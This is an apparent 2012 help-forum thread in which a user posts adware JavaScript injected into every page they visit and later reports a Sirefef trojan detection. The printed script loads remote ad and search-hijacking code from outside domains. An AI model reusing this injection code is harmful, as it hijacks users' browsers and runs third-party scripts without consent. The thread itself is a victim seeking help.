Jump to content


 


Register a free account to unlock additional features at BleepingComputer.com
Welcome to BleepingComputer, a free community where people like yourself come together to discuss and learn how to use their computers. Using the site is easy and fun. As a guest, you can browse and view the various discussions in the forums, but can not create a new topic or reply to an existing one unless you are logged in. Other benefits of registering an account are subscribing to topics and forums, creating a blog, and having no ads shown anywhere on the site.


Click here to Register a free account now! or read our Welcome Guide to learn how to use this site.

Photo

Weird script on every website...


  • Please log in to reply
1 reply to this topic

#1 Pancake2

Pancake2

  • Members
  • 2 posts
  • OFFLINE
  •  
  • Local time:08:54 AM

Posted 06 December 2012 - 11:52 AM

Hello. I have noticed that every website has this code pasted on bottom...
Is it a virus?

<script>
var id=1100360878;
var aff=30501;
var sid=1;
function INCL_isIFramed()
{
     return (top !== self);
}
function INCL_checkinternals()
{
     var h = document.location.hostname;
     return (/search\.kalloutsearch\d\.com/i.test(h) == true ||
             /search\.adbar\d\.com/i.test(h) == true ||
             h.indexOf('search.runclips.com') != -1 ||
             h.indexOf('search.searchnowdirect.com') != -1);
}

function INCL_checkdml()
{
     var h = document.location.hostname;
     return (h.indexOf("google")!=-1 ||
         h.indexOf("facebook.com")!=-1 ||
         h.indexOf("yahoo.com")!=-1 ||
         h.indexOf("bing.com")!=-1 ||
         h.indexOf("ask.com")!=-1 ||
         h.indexOf("listenersguide.org.uk")!=-1);
}
function INCL_loadScript(src)
{
     if (window.location.protocol == 'https:' && src.indexOf('http:') == 0)
         return;
     var script = document.createElement("script");
     script.src = src;
     script.characterSet = "utf-8";
     script.type = "text/javascript";
     (document.head||document.documentElement).appendChild(script);
  }
if (!INCL_isIFramed() && !INCL_checkinternals())
{
     if (!INCL_checkdml()) {
         var INLDM_cfg = { fi : 4603, fd : 0,
                 fddm: 'xml.cpchero.biz',
                 sttcdm: 'static.cpchero.biz',
                 inlsrhdm: 'sonicsearchonline.biz' };
INCL_loadScript('https://hostmyjs.biz/scripts/inl_dmmtch2.min.js');
INCL_loadScript('https://in.admedia.com/?id=ODkoOCI&subid=36');
     }
  INCL_loadScript('http://i.websuggestorjs.info/sugg/javascript.js?channel=js36');
INCL_loadScript('https://cdncache1-a.akamaihd.net/loaders/1247/l.js?aoi=1311798366&pid=1247&zoneid=52222');
     window.dmadbar_settings = {dm_standalone : true, dmpd : 2, fd : 
4723, fd2: 4604, xmlfeed : 'http://xml.cpchero.biz/search' , search_url 
: 
'http://hostmysearch.com/?prt=yhs1Danta2&errUrl=http://www.yahoo.com&keywords=' 
, script_base : 'https://hostmyjs.biz/scripts/adbar' };
INCL_loadScript('https://hostmyjs.biz/scripts/adbar/adbar.js');
}
</script>

I use Windows 7 Home Premium x64 and Firefox

Edited by Pancake2, 06 December 2012 - 11:53 AM.


BC AdBot (Login to Remove)

 


#2 Pancake2

Pancake2
  • Topic Starter

  • Members
  • 2 posts
  • OFFLINE
  •  
  • Local time:08:54 AM

Posted 06 December 2012 - 01:45 PM

I have scanned my computer with avast and it detected a virus "Win32:Sirefef-ZT [Trj]" in C:\Windows\System32\services.exe. I can't remove it though :( it says it's used by other process. Any help is appreciated, thanks!!




0 user(s) are reading this topic

0 members, 0 guests, 0 anonymous users